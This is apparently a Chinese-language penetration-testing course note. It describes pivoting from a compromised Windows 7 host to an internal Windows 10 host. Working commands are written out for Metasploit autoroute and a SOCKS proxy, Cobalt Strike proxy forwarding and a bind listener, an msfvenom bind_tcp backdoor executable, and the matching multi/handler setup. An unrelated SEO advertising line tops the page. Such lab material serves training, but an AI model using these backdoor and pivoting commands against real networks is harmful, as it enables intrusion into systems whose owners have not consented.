武汉微信网站建设seo研究中心道一老师

小迪安全网络架构图：

背景：当前获取window7 出网主机的shell。

1.使用msf上线，查看路由

run autoroute -p

添加路由：
run post/multi/manage/autoroute

使用socks模块开启节点，作为流量跳板

msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvport 1122
srvport => 1122
msf6 auxiliary(server/socks_proxy) > run

使用socket cap 进行代理

2.使用cs进行渗透测试

windwos7上线cs木马

点击代理转发选择socket

输入账户密码后，使用proifixer进行流量转发

配置为目标站点走socket5

3.使用cs进行windows10 上线cs

方案：创建木马将数据传递给本地4444端口

使用window7正向连接目标4444端口

cs配置正向监听器：

生成木马：

模拟执行木马，在windows7交互会话窗口：
connect 192.168.11.129 4444 即可上线

4.使用msf进行windows10 上线

生成正向连接后门：msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=2222 -f exe > bd.exe
放置windows10上运行

msf执行：

msf6 exploit(multi/handler) > use exploit/multi/handler 
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload  windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

msf6 exploit(multi/handler) > set rhost 192.168.11.129
rhost => 192.168.11.129
msf6 exploit(multi/handler) > set lport 2222
lport => 2222
msf6 exploit(multi/handler) > run